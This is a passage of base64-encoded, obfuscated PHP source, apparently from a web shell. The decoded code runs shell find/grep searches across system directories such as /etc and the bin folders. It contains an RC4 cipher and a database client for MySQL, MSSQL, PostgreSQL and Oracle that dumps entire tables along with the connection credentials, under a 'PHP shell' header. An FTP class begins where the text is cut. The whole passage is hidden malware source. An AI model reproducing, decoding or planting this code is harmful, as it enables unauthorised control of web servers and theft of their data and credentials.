iAkc2hfZXhlYyl7IGVjaG8gejNxKHo5eSgiMTU1IikpLno2cygpOyBnbG9iYWwgJGZpbmRhbGlhc2VzLCR1bml4ZmluZCwkZmluZF90ZXh0LCRmaW5kX2luX2RpciwkZmluZF9pbl9maWxlcywkZmluZF9kZWZpbmVkLCRzcGF0aCwkbHNtYW47IGlmKCFAaXNzZXQoJHNwYXRoKSkgJHNwYXRoPSdjd2QnOyAkZmluZF9yZXN1bHQ9IiI7IGlmKEBpc3NldCgkdW5peGZpbmQpJiYkdW5peGZpbmQ9PSIxIiYmQGlzc2V0KCRmaW5kX3RleHQpJiYhQGVtcHR5KCRmaW5kX3RleHQpJiZAaXNzZXQoJGZpbmRfaW5fZGlyKSYmIUBlbXB0eSgkZmluZF9pbl9kaXIpJiZAaXNzZXQoJGZpbmRfaW5fZmlsZXMpJiYhQGVtcHR5KCRmaW5kX2luX2ZpbGVzKSl7ICRmaW5kX2luZmlsZXM9QGFycmF5X3VuaXF1ZShAZXhwbG9kZSgiOyIsJGZpbmRfaW5fZmlsZXMpKTsgZm9yZWFjaCgkZmluZF9pbmZpbGVzIGFzICRmaW5kX2luX2ZpbGUpeyAkZmluZF9yZXN1bHQuPXo5ZSgnZmluZCAiJy4kZmluZF9pbl9kaXIuJyIgLW5hbWUgIicuJGZpbmRfaW5fZmlsZS4nIiAtcHJpbnQwfHhhcmdzIC0wIGdyZXAgLUUgIicuJGZpbmRfdGV4dC4nIicsMCk7IH0gfSBlY2hvIHo1eChhcnJheSgnZCcsJ2FjdCc9PidzZWFyY2gnLCd1bml4ZmluZCc9PicxJyksIHoxMHcoIHo3dSh6NXQoejl5KCIxNTYiKSkuejljKHo2dSgiZmluZF90ZXh0IixAaHRtbHNwZWNpYWxjaGFycygkZmluZF90ZXh0KSwnMCcpLno4Yih6OXkoIjE0NyIpLCc3JykpKS4gejd1KHo1dCh6OXkoIjE0OSIpKS56OWMoejZ1KCJmaW5kX2luX2RpciIsQGh0bWxzcGVjaWFsY2hhcnMoJGZpbmRfaW5fZGlyKSwiOSIpKSkuIHo3dSh6NXQoejl5KCIxNTciKSkuejljKHo2dSgiZmluZF9pbl9maWxlcyIsQGh0bWxzcGVjaWFsY2hhcnMoJGZpbmRfaW5fZmlsZXMpLCI5IikpKSApICk7IGVjaG8gejV4KGFycmF5KCdkJywnYWN0Jz0+J3NlYXJjaCcsJ3VuaXhmaW5kJz0+JzInKSwgejEwdyggejd1KHo1dCh6OXkoIjE1OCIpKS56OWMoejJrKCJmaW5kX2RlZmluZWQiLCAkZmluZGFsaWFzZXMsIjAiLCcxJykuejNtKCdzcGF0aCcsJGFfcGF0aHMsJzEnLCcxJykuejhiKHo5eSgiMTQ3IiksJzcnKS56NXUoImxzbWFuIix6OXkoIjE1OSIpLCdsc21hbicsJzEnKSkpICkgKTsgZWNobyB6NnMoKTsgaWYoQGlzc2V0KCR1bml4ZmluZCkmJiR1bml4ZmluZD09IjIiJiZAaXNzZXQoJGZpbmRfZGVmaW5lZCkmJiFAZW1wdHkoJGZpbmRfZGVmaW5lZCkpeyBpZigkc3BhdGg9PSdzeXN0ZW0nKXsgJHJlcD0nLyc7IH0gZWxzZWlmKCRzcGF0aD09J2V0YycpeyAkcmVwPScvZXRjJzsgfSBlbHNlaWYoJHNwYXRoPT0nYmluJyl7ICRyZXA9Jy9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2Jpbic7IH0gZWxzZSB7ICRyZXA9JyInLiRmaW5kX2luX2Rpci4nIic7IH0gaWYoQGlzc2V0KCRsc21hbikmJiRsc21hbil7ICRmaW5kX2RlZmluZWQ9QHN0cl9yZXBsYWNlKCcgLWxzJywnJywkZmluZF9kZWZpbmVkKTsgfSAkZmluZF9kZWZpbmVkPUBzdHJfcmVwbGFjZSgnJXBhdGglJywgJHJlcCwgJGZpbmRfZGVmaW5lZCk7ICRmaW5kX3Jlc3VsdD16OWUoJGZpbmRfZGVmaW5lZCwwKTsgfSBpZighQGVtcHR5KCRmaW5kX3Jlc3VsdCkpeyBpZihAaXNzZXQoJGxzbWFuKSYmJGxzbWFuKXsgZ2xvYmFsICRsc19hLCAkYWN0LCAkZnVsbHBhdGgsICRub2xzbWVudSwkbm9oZWFkOyAkdGxzX2E9QGV4cGxvZGUoIlxuIiwgJGZpbmRfcmVzdWx0KTsgJGxzX2E9YXJyYXkoKTsgZm9yZWFjaCgkdGxzX2EgYXMgJGxzKXsgJGxzPUB0cmltKCRscyk7IGlmKCFAZW1wdHkoJGxzKSAmJiAhQGluX2FycmF5KCRscywkbHNfYSkpICRsc19hW109JGxzOyB9IGlmKEBjb3VudCgkbHNfYSk+MCl7ICRhY3Q9ImxzIjsgJGZ1bGxwYXRoPTE7ICRub2xzbWVudT0xOyAkbm9oZWFkPTE7IH0gfSBlbHNlIHsgZWNobyB6MTB3KHo5ZCh6NmwoejV3KCcnLCcxJywxKS5AaHRtbHNwZWNpYWxjaGFycygkZmluZF9yZXN1bHQpLno1cSgpKSksJzInKS4gejZzKCk7IH0gfSB9IH0gZnVuY3Rpb24gejZtKCl7IGdsb2JhbCAkaW1hZ2VzOyByZXR1cm4gKEBpc19hcnJheSgkaW1hZ2VzKT8kaW1hZ2VzOmFycmF5KCkpOyB9IGNsYXNzIHpyYzQgeyBmdW5jdGlvbiB6ZW5jICgkcHdkLCAkZGF0YSwgJGlzcHdkSGV4ID0gMCkgeyBpZiAoJGlzcHdkSGV4KSAkcHdkID0gQHBhY2soJ0gqJywgJHB3ZCk7ICRrZXlbXSA9ICcnOyAkYm94W10gPSAnJzsgJGNpcGhlciA9ICcnOyAkcHdkX2xlbmd0aCA9IEBzdHJsZW4oJHB3ZCk7ICRkYXRhX2xlbmd0aCA9IEBzdHJsZW4oJGRhdGEpOyBmb3IgKCRpPTA7ICRpPDI1NjsgJGkrKyl7ICRrZXlbJGldPUBvcmQoJHB3ZFskaSAlICRwd2RfbGVuZ3RoXSk7ICRib3hbJGldPSRpOyB9IGZvciAoJGogPSAkaSA9IDA7ICRpIDwgMjU2OyAkaSsrKSB7ICRqID0gKCRqICsgJGJveFskaV0gKyAka2V5WyRpXSkgJSAyNTY7ICR0bXAgPSAkYm94WyRpXTsgJGJveFskaV0gPSAkYm94WyRqXTsgJGJveFskal0gPSAkdG1wOyB9IGZvciAoJGEgPSAkaiA9ICRpID0gMDsgJGkgPCAkZGF0YV9sZW5ndGg7ICRpKyspIHsgJGEgPSAoJGEgKyAxKSAlIDI1NjsgJGogPSAoJGogKyAkYm94WyRhXSkgJSAyNTY7ICR0bXAgPSAkYm94WyRhXTsgJGJveFskYV0gPSAkYm94WyRqXTsgJGJveFskal0gPSAkdG1wOyAkayA9ICRib3hbKCgkYm94WyRhXSArICRib3hbJGpdKSAlIDI1NildOyAkY2lwaGVyIC49IEBjaHIoQG9yZCgkZGF0YVskaV0pIF4gJGspOyB9IHJldHVybiAkY2lwaGVyOyB9IGZ1bmN0aW9uIHpkZWMgKCRwd2QsICRkYXRhLCAkaXNwd2RIZXggPSAwKXsgcmV0dXJuIHpyYzQ6OnplbmMoJHB3ZCwgJGRhdGEsICRpc3B3ZEhleCk7IH0gfSBjbGFzcyBteV9zcWx7IHZhciAkaG9zdD0nbG9jYWxob3N0JzsgdmFyICRwb3J0PScnOyB2YXIgJHVzZXI9Jyc7IHZhciAkcGFzcz0nJzsgdmFyICRiYXNlPScnOyB2YXIgJGRiPScnOyB2YXIgJGNvbm5lY3Rpb247IHZhciAkcmVzOyB2YXIgJGVycm9yOyB2YXIgJHJvd3M7IHZhciAkY29sdW1uczsgdmFyICRudW1fcm93czsgdmFyICRudW1fZmllbGRzOyB2YXIgJGR1bXA7IGZ1bmN0aW9uIGNvbm5lY3QoKXsgc3dpdGNoKCR0aGlzLT5kYil7IGNhc2UgJ015U1FMJzogaWYoZW1wdHkoJHRoaXMtPnBvcnQpKXsgJHRoaXMtPnBvcnQ9JzMzMDYnOyB9IGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiAwOyAkdGhpcy0+Y29ubmVjdGlvbj1AbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOyBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyBicmVhazsgY2FzZSAnTVNTUUwnOiBpZihlbXB0eSgkdGhpcy0+cG9ydCkpeyAkdGhpcy0+cG9ydD0nMTQzMyc7IH0gaWYoIUBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7ICR0aGlzLT5jb25uZWN0aW9uPUBtc3NxbF9jb25uZWN0KCR0aGlzLT5ob3N0LicsJy4kdGhpcy0+cG9ydCwkdGhpcy0+dXNlciwkdGhpcy0+cGFzcyk7IGlmKCR0aGlzLT5jb25uZWN0aW9uKSByZXR1cm4gMTsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiBpZihlbXB0eSgkdGhpcy0+cG9ydCkpeyAkdGhpcy0+cG9ydD0nNTQzMic7IH0gJHN0cj0iaG9zdD0nIi4kdGhpcy0+aG9zdC4iJyBwb3J0PSciLiR0aGlzLT5wb3J0LiInIHVzZXI9JyIuJHRoaXMtPnVzZXIuIicgcGFzc3dvcmQ9JyIuJHRoaXMtPnBhc3MuIicgZGJuYW1lPSciLiR0aGlzLT5iYXNlLiInIjsgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgcmV0dXJuIDA7ICR0aGlzLT5jb25uZWN0aW9uPUBwZ19jb25uZWN0KCRzdHIpOyBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyBicmVhazsgY2FzZSAnT3JhY2xlJzogaWYoIUBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHJldHVybiAwOyAkdGhpcy0+Y29ubmVjdGlvbj1Ab2NpbG9nb24oJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MsJHRoaXMtPmJhc2UpOyBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyBicmVhazsgfSByZXR1cm4gMDsgfSBmdW5jdGlvbiBzZWxlY3RfZGIoKXsgc3dpdGNoKCR0aGlzLT5kYil7IGNhc2UgJ015U1FMJzogaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyBicmVhazsgY2FzZSAnTVNTUUwnOiBpZihAbXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogcmV0dXJuIDE7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiByZXR1cm4gMTsgYnJlYWs7IH0gcmV0dXJuIDA7IH0gZnVuY3Rpb24gbGlzdF9kYnMoKXsgJHRtcGxpc3Q9YXJyYXkoKTsgc3dpdGNoKCR0aGlzLT5kYil7IGNhc2UgJ015U1FMJzogJHRoaXMtPnJlcz1AbXlzcWxfbGlzdF9kYnMoJHRoaXMtPmNvbm5lY3Rpb24pOyB3aGlsZSAoJHRtcHJvdyA9IEBteXNxbF9mZXRjaF9vYmplY3QoJHRoaXMtPnJlcykpICR0bXBsaXN0WyR0bXByb3ctPkRhdGFiYXNlXT0kdG1wcm93LT5EYXRhYmFzZTsgYnJlYWs7IGNhc2UgJ01TU1FMJzogYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiBicmVhazsgY2FzZSAnT3JhY2xlJzogYnJlYWs7IH0gcmV0dXJuICR0bXBsaXN0OyB9IGZ1bmN0aW9uIHF1ZXJ5KCRxdWVyeSl7ICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOyBzd2l0Y2goJHRoaXMtPmRiKXsgY2FzZSAnTXlTUUwnOiBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBteXNxbF9xdWVyeSgnLyonLmNocigwKS4nKi8nLiRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKXsgJHRoaXMtPmVycm9yPUBteXNxbF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7IHJldHVybiAwOyB9ZWxzZSBpZihpc19yZXNvdXJjZSgkdGhpcy0+cmVzKSl7cmV0dXJuIDE7fSByZXR1cm4gMjsgYnJlYWs7IGNhc2UgJ01TU1FMJzogaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXNzcWxfcXVlcnkoJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpeyAkdGhpcy0+ZXJyb3I9J1F1ZXJ5IGVycm9yJzsgcmV0dXJuIDA7IH1lbHNlIGlmKEBtc3NxbF9udW1fcm93cygkdGhpcy0+cmVzKT4wKXtyZXR1cm4gMTt9IHJldHVybiAyOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QHBnX3F1ZXJ5KCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKXsgJHRoaXMtPmVycm9yPUBwZ19sYXN0X2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsgcmV0dXJuIDA7IH1lbHNlIGlmKEBwZ19udW1fcm93cygkdGhpcy0+cmVzKT4wKXtyZXR1cm4gMTt9IHJldHVybiAyOyBicmVhazsgY2FzZSAnT3JhY2xlJzogaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1Ab2NpcGFyc2UoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpeyAkdGhpcy0+ZXJyb3I9J1F1ZXJ5IHBhcnNlIGVycm9yJzsgfWVsc2V7IGlmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKXsgaWYoQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpIT0wKSByZXR1cm4gMjsgcmV0dXJuIDE7IH0gJGVycm9yPUBvY2llcnJvcigpOyAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IH0gYnJlYWs7IH0gcmV0dXJuIDA7IH0gZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpeyAkdGhpcy0+cm93cz1hcnJheSgpOyAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOyAkdGhpcy0+Z2V0X251bV9maWVsZHMoKTsgJHRoaXMtPmdldF9udW1fcm93cygpOyBzd2l0Y2goJHRoaXMtPmRiKXsgY2FzZSAnTXlTUUwnOiB3aGlsZShmYWxzZSE9PSgkdGhpcy0+cm93c1tdPUBteXNxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOyBpZigkdGhpcy0+bnVtX2ZpZWxkcyl7ICR0aGlzLT5jb2x1bW5zPUBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgaWYoQGNvdW50KCR0aGlzLT5jb2x1bW5zKTwxKSAkdGhpcy0+Z2V0X2NvbHVtbnMoKTsgQG15c3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOyByZXR1cm4gMTsgfSBAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7IGJyZWFrOyBjYXNlICdNU1NRTCc6IHdoaWxlKGZhbHNlIT09KCR0aGlzLT5yb3dzW109QG1zc3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7IGlmKCR0aGlzLT5udW1fZmllbGRzKXsgJHRoaXMtPmNvbHVtbnM9QGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyBpZihAY291bnQoJHRoaXMtPmNvbHVtbnMpPDEpICR0aGlzLT5nZXRfY29sdW1ucygpOyBAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7IHJldHVybiAxOyB9IEBtc3NxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiB3aGlsZShmYWxzZSE9PSgkdGhpcy0+cm93c1tdPUBwZ19mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOyBpZigkdGhpcy0+bnVtX2ZpZWxkcyl7ICR0aGlzLT5jb2x1bW5zPUBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgaWYoQGNvdW50KCR0aGlzLT5jb2x1bW5zKTwxKSAkdGhpcy0+Z2V0X2NvbHVtbnMoKTsgQHBnX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOyByZXR1cm4gMTsgfSBAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiB3aGlsZShmYWxzZSE9PSgkdGhpcy0+cm93c1tdPUBvY2lfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsgaWYoJHRoaXMtPm51bV9maWVsZHMpeyAkdGhpcy0+Y29sdW1ucz1AYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IGlmKEBjb3VudCgkdGhpcy0+Y29sdW1ucyk8MSkgJHRoaXMtPmdldF9jb2x1bW5zKCk7IEBvY2lmcmVlc3RhdGVtZW50KCR0aGlzLT5yZXMpOyByZXR1cm4gMTsgfSBAb2NpZnJlZXN0YXRlbWVudCgkdGhpcy0+cmVzKTsgYnJlYWs7IH0gcmV0dXJuIDA7IH0gZnVuY3Rpb24gZ2V0X251bV9yb3dzKCl7ICR0aGlzLT5udW1fcm93cz0wOyBzd2l0Y2goJHRoaXMtPmRiKXsgY2FzZSAnTXlTUUwnOiAkdGhpcy0+bnVtX3Jvd3M9QG15c3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnTVNTUUwnOiAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6ICR0aGlzLT5udW1fcm93cz1AcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiB3aGlsZShmYWxzZSE9PShAb2NpX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSkgJHRoaXMtPm51bV9yb3dzKys7IGJyZWFrOyB9IH0gZnVuY3Rpb24gZ2V0X2NvbHVtbnMoKXsgJHRoaXMtPmNvbHVtbnM9YXJyYXkoKTsgJHRoaXMtPmdldF9udW1fZmllbGRzKCk7IHN3aXRjaCgkdGhpcy0+ZGIpeyBjYXNlICdNeVNRTCc6IGZvcigkaT0wOyAkaSA8ICR0aGlzLT5udW1fZmllbGRzOyAkaSsrKXsgaWYoQG15c3FsX2ZpZWxkX25hbWUoJHRoaXMtPnJlcywgJGkpIT09ZmFsc2UpICR0aGlzLT5jb2x1bW5zW109QG15c3FsX2ZpZWxkX25hbWUoJHRoaXMtPnJlcywgJGkpOyB9IGJyZWFrOyBjYXNlICdNU1NRTCc6IGZvciAoJGk9MDsgJGkgPCAkdGhpcy0+bnVtX2ZpZWxkczsgJGkrKyl7IGlmKEBtc3NxbF9maWVsZF9uYW1lKCR0aGlzLT5yZXMsICRpKSE9PWZhbHNlKSAkdGhpcy0+Y29sdW1uc1tdPUBtc3NxbF9maWVsZF9uYW1lKCR0aGlzLT5yZXMsICRpKTsgfSBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IGZvcigkaT0wOyAkaSA8ICR0aGlzLT5udW1fZmllbGRzOyAkaSsrKSB7IGlmKEBwZ19maWVsZF9uYW1lKCR0aGlzLT5yZXMsICRpKSE9PWZhbHNlKSAkdGhpcy0+Y29sdW1uc1tdPUBwZ19maWVsZF9uYW1lKCR0aGlzLT5yZXMsICRpKTsgfSBicmVhazsgY2FzZSAnT3JhY2xlJzogZm9yKCRpPTA7ICRpIDwgJHRoaXMtPm51bV9maWVsZHM7ICRpKyspIHsgaWYoQG9jaWNvbHVtbm5hbWUoJHRoaXMtPnJlcywgJGkpIT09ZmFsc2UpICR0aGlzLT5jb2x1bW5zW109QG9jaWNvbHVtbm5hbWUoJHRoaXMtPnJlcywgJGkpOyB9IGJyZWFrOyB9IH0gZnVuY3Rpb24gZ2V0X251bV9maWVsZHMoKXsgJHRoaXMtPm51bV9maWVsZHM9MDsgc3dpdGNoKCR0aGlzLT5kYil7IGNhc2UgJ015U1FMJzogJHRoaXMtPm51bV9maWVsZHM9QG15c3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7IGJyZWFrOyBjYXNlICdNU1NRTCc6ICR0aGlzLT5udW1fZmllbGRzPUBtc3NxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6ICR0aGlzLT5udW1fZmllbGRzPUBwZ19udW1fZmllbGRzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnT3JhY2xlJzogJHRoaXMtPm51bV9maWVsZHM9QG9jaW51bWNvbHMoJHRoaXMtPnJlcyk7IGJyZWFrOyB9IH0gZnVuY3Rpb24gcGFyc2VfZmllbGRzKCR0YWJsZSl7IGlmKCEkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgIExJTUlUIDAsMTsnKSkgcmV0dXJuIDA7IHJldHVybiAoJHRoaXMtPmdldF9yZXN1bHQoKSA/ICR0aGlzLT5udW1fZmllbGRzIDogMCk7IH0gZnVuY3Rpb24gY291bnRfcm93cygkdGFibGUpeyAkdG1wY291bnQ9MDsgc3dpdGNoKCR0aGlzLT5kYil7IGNhc2UgJ015U1FMJzogJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kdGFibGUuJ2A7Jyk7IGlmKEBpc19yZXNvdXJjZSgkdGhpcy0+cmVzKSl7ICR0bXA9QG15c3FsX2ZldGNoX2FycmF5KCR0aGlzLT5yZXMpOyAkdG1wY291bnQ9JHRtcFswXTsgfSBicmVhazsgY2FzZSAnTVNTUUwnOiBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IGJyZWFrOyBjYXNlICdPcmFjbGUnOiBicmVhazsgfSByZXR1cm4gKEBpc19udW1lcmljKCR0bXBjb3VudCk/JHRtcGNvdW50OjApOyB9IGZ1bmN0aW9uIGR1bXAoJHRhYmxlKXsgaWYoZW1wdHkoJHRhYmxlKSkgcmV0dXJuIDA7ICR0aGlzLT5kdW1wPWFycmF5KCk7ICR0aGlzLT5kdW1wWzBdPScjIyc7ICR0aGlzLT5kdW1wWzFdPScjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOyAkdGhpcy0+ZHVtcFsyXT0nIyMgRHVtcCBkYXRlIDogJy5AZGF0ZSgiZC9tL1kgSDppOnMiKTsgJHRoaXMtPmR1bXBbM109JyMjIFBIUCBzaGVsbCA6ICcuejh1KCk7ICR0aGlzLT5kdW1wWzRdPScjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOyAkdGhpcy0+ZHVtcFs1XT0nIyMgU1FMIGhvc3QgIDogJy4kdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQ7ICR0aGlzLT5kdW1wWzZdPScjIyBTUUwgdXNlciAgOiAnLiR0aGlzLT51c2VyOyAkdGhpcy0+ZHVtcFs3XT0nIyMgU1FMIHBhc3MgIDogJy4kdGhpcy0+cGFzczsgJHRoaXMtPmR1bXBbOF09JyMjIFNRTCBkYiAgICA6ICcuJHRoaXMtPmJhc2U7ICR0aGlzLT5kdW1wWzldPScjIyBTUUwgdGFibGUgOiAnLiR0YWJsZTsgJHRoaXMtPmR1bXBbMTBdPScjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOyBzd2l0Y2goJHRoaXMtPmRiKXsgY2FzZSAnTXlTUUwnOiAkdGhpcy0+ZHVtcFswXT0nIyMgTXlTUUwgZHVtcCc7IGlmKCR0aGlzLT5xdWVyeSgnLyonLmNocigwKS4nKi8gU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOyBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7ICR0aGlzLT5kdW1wW109JHRoaXMtPnJvd3NbMF1bJ0NyZWF0ZSBUYWJsZSddOyAkdGhpcy0+ZHVtcFtdPScjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOyBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOyBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7IGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKXsgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KXsgJHRoaXMtPnJvd3NbJGldWyRrXT1AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTsgfSAkdGhpcy0+ZHVtcFtdPSdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKGAnLkBpbXBsb2RlKCJgLCBgIiwkdGhpcy0+Y29sdW1ucykuJ2ApIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwkdGhpcy0+cm93c1skaV0pLidcJyk7JzsgfSBicmVhazsgY2FzZSAnTVNTUUwnOiAkdGhpcy0+ZHVtcFswXT0nIyMgTVNTUUwgZHVtcCc7IGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOyBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7IGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKXsgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KXsgJHRoaXMtPnJvd3NbJGldWyRrXT1AYWRkc2xhc2hlcygkdik7IH0gJHRoaXMtPmR1bXBbXT0nSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7IH0gYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiAkdGhpcy0+ZHVtcFswXT0nIyMgUG9zdGdyZVNRTCBkdW1wJzsgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7IGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspeyBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpeyAkdGhpcy0+cm93c1skaV1bJGtdPUBhZGRzbGFzaGVzKCR2KTsgfSAkdGhpcy0+ZHVtcFtdPSdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwkdGhpcy0+cm93c1skaV0pLidcJyk7JzsgfSBicmVhazsgY2FzZSAnT3JhY2xlJzogJHRoaXMtPmR1bXBbMF09JyMjIE9SQUNMRSBkdW1wJzsgYnJlYWs7IGRlZmF1bHQ6IHJldHVybiAwOyBicmVhazsgfSByZXR1cm4gMTsgfSBmdW5jdGlvbiBjbG9zZSgpeyBzd2l0Y2goJHRoaXMtPmRiKXsgY2FzZSAnTXlTUUwnOiBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyBicmVhazsgY2FzZSAnTVNTUUwnOiBAbXNzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IEBwZ19jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiBAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgYnJlYWs7IH0gfSBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCl7IHN3aXRjaCgkdGhpcy0+ZGIpeyBjYXNlICdNeVNRTCc6IHJldHVybiBAbXlzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsgYnJlYWs7IGNhc2UgJ01TU1FMJzogcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IHJldHVybiBAcGdfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsgYnJlYWs7IGNhc2UgJ09yYWNsZSc6IHJldHVybiBAb2Npcm93Y291bnQoJHRoaXMtPnJlcyk7IGJyZWFrOyBkZWZhdWx0OiByZXR1cm4gMDsgYnJlYWs7IH0gfSB9IGNsYXNzIGZ0cCB7IHZhciAkc2VydmVyPSIiOyB2YXIgJHBvcnQ9MjE7IHZhciAkdXN